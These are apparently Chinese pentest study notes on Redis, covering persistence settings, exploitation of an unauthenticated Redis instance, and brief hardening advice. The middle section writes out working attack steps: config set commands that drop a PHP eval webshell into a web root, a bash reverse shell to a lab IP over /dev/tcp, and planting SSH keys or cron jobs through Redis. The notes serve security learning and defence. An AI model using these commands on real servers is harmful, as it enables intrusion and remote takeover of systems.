一、Redis相关知识
1、常见用途
缓存、分布式session、分布式锁、分布式全局ID、计数器、限流、列表、抽奖、标签、排行榜
2、Redis为什么这么流行?
(1)数据类型丰富,应用场景广泛
(2)纯内存的数据结构,读写速度快
(3)功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)
3、Redis持久化机制
(1)RDB :Redis DataBase(默认)
(2)AOF :Append Only File
配置:
(1)save 3600 1#自动触发规则
(2)dbfilename dump.rdb #文件名
(3)dir ./ #存储路径
手动触发保存命令: save / bgsave
动态修改配置
config set:动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
二、如何利用Redis实现攻击
1、webshell提权
前提:有HTTP服务器、知道文件保存路径、6379端口开放且无密码
redis-cli -h 192.168.142.66 -p 6379 #连接到6379端口(需要没有设置密码)
config set dir /www/admin/localhost_80/wwwroot #修改存储路径
config set dbfilename redis.php #修改文件名(php后缀)
set x " <?php @eval($_POST[cmd]); ?>" #任意值写入一句话木马
save #保存
#再用蚁剑连接即可
2、反弹连接
2.1、适用:
(1)在内网,只有私有IP
(2)IP动态变化
(3)6379端口不允许入方向
(4)—句话木马被杀软删除
2.2、实现:
1、监听端口
2、建立连接
(看机器有什么环境,通过命令直接连接,或者访问代码文件)
(*配合msf监听模块使用)
命令解析:
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i ——打开交互式终端
/dev/tcp/192.168.142.44/7777 ——建立TCP远程连接
>&——将标准错误输出合并到标准输出中
0>&1——将标准输入重定向到标准输出中
标准输入(stdin):代码为0,使用<或<<;
标准输出(stdout):代码为1,使用>或>>;
标准错误输出(stderr):代码为2,使用2>或2>>
2.3、总结
流程
1、监听端口
2、执行命令,或者上传payload访问,建立连接
怎么上传?
1、文件上传漏洞
2、写入文件: MySQL、Redis、CMS
3、文本编辑命令: tee (vulnhub-breach). test.py (vulnh
ub-DC9)
怎么执行?
访问或者定时任务自动触发
2.4、Redis写入反弹连接任务
定时任务
Linux cron表达式
cron文件牛存储路径
3、SSH key免密登录
3.1、流程
1、客户端生成密钥对(公钥、私钥)
2、客户端把公钥发给服务端保存(正常情况需要密码)
3、客户端用私钥加密消息,发给服务端
4、服务端用公钥解密,解密成功,说明密钥匹配
5、客户端免密登录成功
3.2、Redis利用SSH Key提权流程
1、控制机连接到Redis
2、向$HOME/.ssh/authorized_keys写入公钥
3、ssh -i ./id_rsa user@IP 使用私钥免密登录
4、执行后续操作
三、Redis加固
1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis